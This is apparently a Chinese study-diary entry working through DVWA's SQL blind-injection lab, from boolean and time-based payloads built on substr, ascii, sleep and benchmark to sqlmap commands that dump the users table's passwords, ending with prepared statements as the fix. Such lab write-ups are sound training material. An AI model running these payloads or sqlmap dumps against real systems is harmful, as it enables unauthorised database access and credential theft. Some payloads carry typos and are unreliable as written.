DVWA学习日记-7 SQL盲注

SQL盲注
概述
数据库的执行结果不会直接显示在页面上
页面只会显示真和假两个状态
准备:
Firefox
DVWA
Hackbar
firebug
Tamper Data
SQLMAP

手工实战
1.进入简单模式
进入sql盲注页面,正常操作访问id=1,,只是告诉我们这个存在,结果为真
DVWA学习日记-7 SQL盲注_第1张图片
2.输入-1提交一下,查询结果为假
DVWA学习日记-7 SQL盲注_第2张图片
3.尝试注入POC
真 and 假=假

... where user_id =$id		where user_id =1 and 1024=1025
... where user_id ='$id'		where user_id ='1' and '1024'='1024' 
... where user_id ="id"		where user_id ="1" and "1024"="1025"

4.使用1 and 1024=1025 返回真,说明后面的语句没有被执行
DVWA学习日记-7 SQL盲注_第3张图片
5.使用1’ and ‘1024’=‘1025 返回假 表示后面的语句成功执行了
所以这里就是单引号闭合的
6.盲注思路
1’ and 真—结果为真
1’ and 假—结果为假

7.利用一些条件进行注入
length(str) 获取字符串长度(字符串)
这里使用真 and 真|假 =真|假

8.判断数据库数量
1’ and length(database())>1#
DVWA学习日记-7 SQL盲注_第4张图片
尝试数据库大于10,返回错误
1’ and length(database())>10#
依次猜测,使用二分法
1’ and length(database())>=4#
结果猜测到4返回正确

9.开始猜测数据库字符
首先知道这个函数

substr(expression,start.length)
substr 获取子字符串
expression 原始字符串
start 子串开始位置
length 子串长度

演示

尝试获取test字符,怎么获取te
select substr('test',1,2);	//输出te
后三个字符
select substr('test',2,3);	//输出est

我们就可以这样一个一个比对下去获得数据库名,有点像暴力破解

10.我们获取的数据都是ascii字符,ascii是有一个对应的范围,如果我们把他转换成ascii,再去比对他们的范围
了解下面函数
ascii(string) 获取第一个字符串的ASCII数值(字符串)

演示

select ascii('test');	//第一个字符ASCII的是116

11.确认字符串内容
单字符串内容
单字符串ASCII码返回:0-127
1’ and ascii(substr(database()1,1)>64#
返回真就说明64>=ascii<=127中
DVWA学习日记-7 SQL盲注_第5张图片

12确定字符串内容
64 ⇒ 96char<=100
最后可以确认char=100=‘d’
substr(database()1,1)=‘d’
substr(database()2,1)=‘v’
substr(database()3,1)=‘w’
substr(database()4,1)=‘a’
结果database()=‘dvwa’

盲注有两种类型
布尔型和延时型

13.再来看一下延时的注入
sql函数
if(expr1,expr2,expr3)
如果expr1为真,返回expr2,否则返回expr3

sleep(N)
休眠(N秒)
演示

select if(1,'true','false');	//true
select if(0,'true','false');	//false
select sleep(3);	///延迟了3秒

14.延时操作

1' and sleep(if(length(database())=4,5,0)#如果数据库表等于4个,如果为真则延时5秒,如果为假则不延迟
1‘ and sleep(if(length()database())=5,5,0)#

除了sleep函数还有什么函数可以达到这样效果
benchmark(count,expr)
重复计算(次数为count,表达式)
这里重复执行计算,会有计算延迟

演示:

select benchmark(500000,md5('test'));	//耗时0.15s
select banchmark(5000000,md5('test'));	//1.54s
select banchmark(50000000,md5('test'));	//14.71s

操作实例

1‘ and benchmark(if(length(database())=4,500000),md5('test')#

F12查看返回时间

sqlmap
指定参数
直接获取当前数据库名称
这里为了输出详细信息 -v 1-6 1输出最少 6输出最多

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=rqr8cbcr5t5cc064hk8fejudl4" --current-db

15.获取数据库表名称
DVWA学习日记-7 SQL盲注_第6张图片
16.解析payload
1’ AND ORD(MID(IFNULL(CAST(DATABASE() AS CHAR),0X20)),1,1))>64 AND ‘kqKY’='kqKY

cast(expression as data_type)
数据类型转换(表达式 as 新的数据类型)

select database();
select cast(database() as char);
与database()结果一致,我这里的本来就是字符类型

DVWA学习日记-7 SQL盲注_第7张图片
ifnull(expr1,expr2)
如果expr1是null,返回expr2,否则返回本身
DVWA学习日记-7 SQL盲注_第8张图片
尝试了下payload
DVWA学习日记-7 SQL盲注_第9张图片

mid(expression,start,length)
获取子字符串(原始字符串,子串开始位置,子串长度)
DVWA学习日记-7 SQL盲注_第10张图片
ord(string)
获取第一个字符串的ASCII数值(字符串)
DVWA学习日记-7 SQL盲注_第11张图片
再去看整个payload语句
DVWA学习日记-7 SQL盲注_第12张图片
真 => x=真
假 => x=假

我们发现用工具的思路和我们一样,只不过方法不一样

17.进入中等难度
DVWA学习日记-7 SQL盲注_第13张图片
这里和上次一样,这次我们打开tamper data

18.数字型注入尝试我们的POC
改包1 and 1024=1025
DVWA学习日记-7 SQL盲注_第14张图片
发现结果为假注入成功
DVWA学习日记-7 SQL盲注_第15张图片

再使用我们的sqlmap
-p 是测试的参数
–data 该参数指定的数据会被作为POST数据提交

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" --data "id=1&Submit=Submit" --cookie "security=medium; PHPSESSID=rqr8cbcr5t5cc064hk8fejudl4" -D dvwa -T users -C "user,password" --dump

DVWA学习日记-7 SQL盲注_第16张图片
19.进入困难模式
我们这里先尝试下POC
发现是字符串的,返回假
1’ and ‘1025’='1024
在这里插入图片描述
20.我们直接使用sqlmap
–second-url

sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/cookie-input.php#" --data "id=1&Submit=Submit" -p "id" --cookie "security=high; PHPSESSID=rqr8cbcr5t5cc064hk8fejudl4" --second-order "http://localhost/DVWA-master/vulnerabilities/sqli_blind/"

失效了
DVWA学习日记-7 SQL盲注_第17张图片
我们发现id不见了
打开firebug查看,id竟然在cookie中
DVWA学习日记-7 SQL盲注_第18张图片
继续使用sqlmap
level>=2 设置cookie参数需要使用到2以上的

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" -p "id" --cookie "id=1;security=high; PHPSESSID=rqr8cbcr5t5cc064hk8fejudl4" --level 2

成功搞定

最后进入无漏洞模式
查看源码
检测了id数据类型
使用了预编译绑定id变量
有效防止了SQL注入
DVWA学习日记-7 SQL盲注_第19张图片

你可能感兴趣的:(DVWA)